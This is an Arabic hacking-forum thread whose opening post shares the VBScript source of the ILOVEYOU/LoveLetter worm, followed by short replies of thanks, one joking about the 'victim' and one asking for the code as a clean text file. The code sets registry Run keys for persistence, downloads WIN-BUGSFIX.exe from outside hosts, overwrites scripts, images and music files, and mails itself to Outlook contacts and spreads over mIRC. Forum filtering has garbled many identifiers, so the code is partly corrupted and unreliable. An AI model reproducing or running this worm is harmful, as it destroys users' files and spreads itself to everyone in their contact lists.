![]() |
للمرة الأولى أكواد فايروس الحب لأول مرة اكواد فايروس الحب السلام عليكم ورحمة الله وبركاته اليوم أقدم لكم موضوع فريد ومميز: فايروس الحب والكل يعلم ماهو هذا الفيروس الخطير والمدمر •فيروس الحب من اخطر الفيروسات التي انتشرت عن طريق البريد الالكتروني برسالة بعنوان (I love you) وقد تم تطويره خمس مرات والأضرار الناجمة عن فيروس الحب 8.7 مليارات دولار، واستمر الفيروس ما بين أربعة وخمسة أشهر وظهر منه نحو 55 نوعا. [hide] rem barok -loveletter(vbe) <i hate go to school>rem by: spyder / ispyder@mail.com / @grammersoft group / Manila,Philippines On Error Resume Next Dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow eq="" ctr=0 Set fso = CreateObject("¤¤¤¤¤¤ing.FileSystemObject") Set file = fso.OpenTextFile(W¤¤¤¤¤¤.¤¤¤¤¤¤Fullname,1) vbscopy=file.ReadAll main() Sub main() On Error Resume Next Dim wscr,rr Set wscr=CreateObject("W¤¤¤¤¤¤.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\oftware\icrosof t\indows ¤¤¤¤¤¤ing Host\ettings\imeout") If (rr>=1) Then wscr.RegWrite "HKEY_CURRENT_USER\oftware\icrosoft\indows ¤¤¤¤¤¤ing Host\ettings\imeout",0,"REG_DWORD" End If Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder Set dirtemp = fso.GetSpecialFolder Set c = fso.GetFile(W¤¤¤¤¤¤.¤¤¤¤¤¤FullName) c.Copy(dirsystem&"\SKernel32.vbs") c.Copy(dirwin&"\in32DLL.vbs") c.Copy(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() End Sub Sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\ur rent V ersion\un\SKernel32 ",dirsystem&"\SKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\ur rent V ersion\unServices\i n32DLL",dirwin&"\in32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\oftware\icrosof t\nternet Explorer\ownload Directory") If (downread="") Then downread="c:\ End If If (fileexist(dirsystem&"\inFAT32.exe")=1) Then Randomize num = Int((4 * Rnd) + 1) If num = 1 Then regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart Page","http://www.skyinet.net/~young1s/HJKh...TFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" ElseIf num = 2 Then regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart Page","http://www.skyinet.net/~angelcat/skl...GFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" ElseIf num = 3 Then regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart Page","http://www.skyinet.net/~koichi/jf6TR...hfFEkbopBdQZnm POhfgER67b3Vbvg/WIN-BUGSFIX.exe" ElseIf num = 4 Then regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart Page","http://www.skyinet.net/~chu/sdgfhjks...tuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX .exe" End If End If If (fileexist(downread&"\IN-BUGSFIX.exe")=0) Then regcreate "HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\ur rent V ersion\un\IN-BUGSFI X",downread&"\IN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\oftware\icrosoft\nternet Explorer\ain\tart Page","about:blank" End If End Sub Sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d In dc If d.DriveType = 2 Or d.DriveType=3 Then folderlist(d.path&"\) End If Next listadriv = s End Sub Sub infectfiles(folderspec) On Error Resume Next Dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 Set f = fso.GetFolder(folderspec) Set fc = f.Files For Each f1 In fc ext=fso.GetExtensionName(f1.path) ext=LCase(ext) s=LCase(f1.Name) If (ext="vbs") Or (ext="vbe") Then Set ap=fso.OpenTextFile(f1.path,2,True) ap.write vbscopy ap.Close ElseIf(ext="js") Or (ext="jse") Or (ext="css") Or (ext="wsh") Or (ext="sct") Or (ext="hta") Then Set ap=fso.OpenTextFile(f1.path,2,True) ap.write vbscopy ap.Close bname=fso.Get¤¤¤¤Name(f1.path) Set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\&bname&".vbs") fso.DeleteFile(f1.path) ElseIf(ext="jpg") Or (ext="jpeg") Then Set ap=fso.OpenTextFile(f1.path,2,True) ap.write vbscopy ap.Close Set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) ElseIf(ext="mp3") Or (ext="mp2") Then Set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.Close Set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 End If If (eq<>folderspec) Then If (s="mirc32.exe") Or (s="mlink32.exe") Or (s="mirc.ini") Or (s="¤¤¤¤¤¤.ini") Or (s="mirc.hlp") Then Set ¤¤¤¤¤¤ini=fso.CreateTextFile(folderspec&"\cript.in i") ¤¤¤¤¤¤ini.WriteLine "[¤¤¤¤¤¤]" ¤¤¤¤¤¤ini.WriteLine ";mIRC ¤¤¤¤¤¤" ¤¤¤¤¤¤ini.WriteLine "; Please dont edit this ¤¤¤¤¤¤... mIRC will corrupt, if mIRC will" ¤¤¤¤¤¤ini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" ¤¤¤¤¤¤ini.WriteLine ";" ¤¤¤¤¤¤ini.WriteLine ";Khaled Mardam-Bey" ¤¤¤¤¤¤ini.WriteLine ";http://www.mirc.com/" ¤¤¤¤¤¤ini.WriteLine ";" ¤¤¤¤¤¤ini.WriteLine "n0=on 1:JOIN:#:{ ¤¤¤¤¤¤ini.WriteLine "n1= /if ( $nick == $me ) {halt } ¤¤¤¤¤¤ini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\OVE-LETTER-FOR-YOU.HTM" ¤¤¤¤¤¤ini.WriteLine "n3=} ¤¤¤¤¤¤ini.Close eq=folderspec End If End If Next End Sub Sub folderlist(folderspec) On Error Resume Next Dim f,f1,sf Set f = fso.GetFolder(folderspec) Set sf = f.SubFolders For Each f1 In sf infectfiles(f1.path) folderlist(f1.path) Next End Sub Sub regcreate(regkey,regvalue) Set regedit = CreateObject("W¤¤¤¤¤¤.Shell") regedit.RegWrite regkey,regvalue End Sub Function regget(value) Set regedit = CreateObject("W¤¤¤¤¤¤.Shell") regget=regedit.RegRead(value) End Function Function fileexist(filespec) On Error Resume Next Dim msg If (fso.FileExists(filespec)) Then msg = 0 Else msg = 1 End If fileexist = msg End Function Function folderexist(folderspec) On Error Resume Next Dim msg If (fso.GetFolderExists(folderspec)) Then msg = 0 Else msg = 1 End If fileexist = msg End Function Sub spreadtoemail() On Error Resume Next Dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d Set regedit=CreateObject("W¤¤¤¤¤¤.Shell") Set out=W¤¤¤¤¤¤.CreateObject("Outlook.Application") Set mapi=out.GetNameSpace("MAPI") For ctrlists=1 To mapi.AddressLists.Count Set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\oftware\ic rosoft\AB\ &a) If (regv="") Then regv=1 End If If (Int(a.AddressEntries.Count)>Int(regv)) Then For ctrentries=1 To a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\oftware\i crosoft\AB \&malead) If (regad="") Then Set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\oftware\icrosoft\AB\&malead ,1," REG_DWORD" End If x=x+1 Next regedit.RegWrite "HKEY_CURRENT_USER\oftware\icrosoft\AB\&a,a.Ad dres sEntries.C ount Else regedit.RegWrite "HKEY_CURRENT_USER\oftware\icrosoft\AB\&a,a.Ad dres sEntries.C ount End If Next Set out=Nothing Set mapi=Nothing End Sub Sub html On Error Resume Next Dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE>****** NAME=@-@Generator@-@ ¤¤¤¤¤¤¤=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "****** NAME=@-@Author@-@ ¤¤¤¤¤¤¤=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "****** NAME=@-@De¤¤¤¤¤¤ion@-@ ¤¤¤¤¤¤¤=@-@simple but i think this is good...@-@>"&vbcrlf& _ "<?-?HEAD>****** ONMOUSEOUT=@-@¤¤¤¤¤¤¤¤name=#-#main#-#;¤¤¤¤¤¤¤¤open(#-#LOVE-LETTER-FOR-YOU.HTM# -#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@¤¤¤¤¤¤¤¤name=#-#main#-#;¤¤¤¤¤¤¤¤open(#-#LOVE-LETTER-FOR-YOU.HTM# -#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "******** ¤¤¤¤¤¤¤¤=@-@J¤¤¤¤¤¤@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (¤¤¤¤¤¤¤¤screen){ar wi=screen.availWidth;var hi=screen.availHeight;¤¤¤¤¤¤¤¤moveTo(0,0);¤¤¤¤¤¤¤¤ resizeTo(wi, hi);}&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?¤¤¤¤¤¤>"&vbcrlf& _ "******** ¤¤¤¤¤¤¤¤=@-@VB¤¤¤¤¤¤@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit "&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" dta2="set fso=CreateObject(@-@¤¤¤¤¤¤ing.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=fso.GetSpecialFolder"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),ch r(39 ))"&vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),c hr(3 4))"&vbcrl f& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),c hr(9 2))"&vbcrl f& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "¤¤¤¤¤¤¤¤.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "¤¤¤¤¤¤¤¤close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@-@W¤¤¤¤¤¤.Shell@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru n^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?¤¤¤¤¤¤>" dt1=replace(dta1,Chr(35)&Chr(45)&Chr(35),"'") dt1=replace(dt1,Chr(64)&Chr(45)&Chr(64),"""") dt4=replace(dt1,Chr(63)&Chr(45)&Chr(63),"/") dt5=replace(dt4,Chr(94)&Chr(45)&Chr(94),"\) dt2=replace(dta2,Chr(35)&Chr(45)&Chr(35),"'") dt2=replace(dt2,Chr(64)&Chr(45)&Chr(64),"""") dt3=replace(dt2,Chr(63)&Chr(45)&Chr(63),"/") dt6=replace(dt3,Chr(94)&Chr(45)&Chr(94),"\) Set fso=CreateObject("¤¤¤¤¤¤ing.FileSystemObject") Set c=fso.OpenTextFile(W¤¤¤¤¤¤.¤¤¤¤¤¤FullName,1) lines=Split(c.ReadAll,vbcrlf) l1=UBound(lines) For n=0 To UBound(lines) lines(n)=replace(lines(n),"'",Chr(91)+Chr(45)+Chr( 91)) lines(n)=replace(lines(n),"""",Chr(93)+Chr(45)+Chr (93)) lines(n)=replace(lines(n),",Chr(37)+Chr(45)+Chr(37 )) If (l1=n) Then lines(n)=Chr(34)+lines(n)+Chr(34) Else lines(n)=Chr(34)+lines(n)+Chr(34)&"&vbcrlf& _" End If Next Set b=fso.CreateTextFile(dirsystem+"\OVE-LETTER-FOR-YOU.HTM") b.Close Set d=fso.OpenTextFile(dirsystem+"\OVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.Close |
يسلمو اخي يعطيك العافيا تقبل مروري |
NICR€ FUN |
مشكووور ههه خلي الضحية هيك تحب على مزبوط :) تقبل مروري |
شكرا لك |
ممكن تضع الاكواد في ملف تكست يا غالي !! انحذفت بعض الكلمات بسبب حمايه المنتدى وهكذا راح يستفاد من موضوعك بشكل سليم و بارك الله فيك على الموضوع و الاكواد تحياتي يا غالي |
يعطيك العاف |
مشكور عل المجهود ولكن اتمني ان تضع اكواد سي او اسمبلي او تحليل للفيروسات |
رد: للمرة الأولى أكواد فايروس الحب بتتلبتلنب |
رد: للمرة الأولى أكواد فايروس الحب شكرااااااااااااااااااا |
رد: للمرة الأولى أكواد فايروس الحب sureeeeeeeeeeeeeeeeeee for |
رد: للمرة الأولى أكواد فايروس الحب روووعة |
رد: للمرة الأولى أكواد فايروس الحب في الصميم |
الساعة الآن 02:05 PM |
[ vBspiders.Com Network ]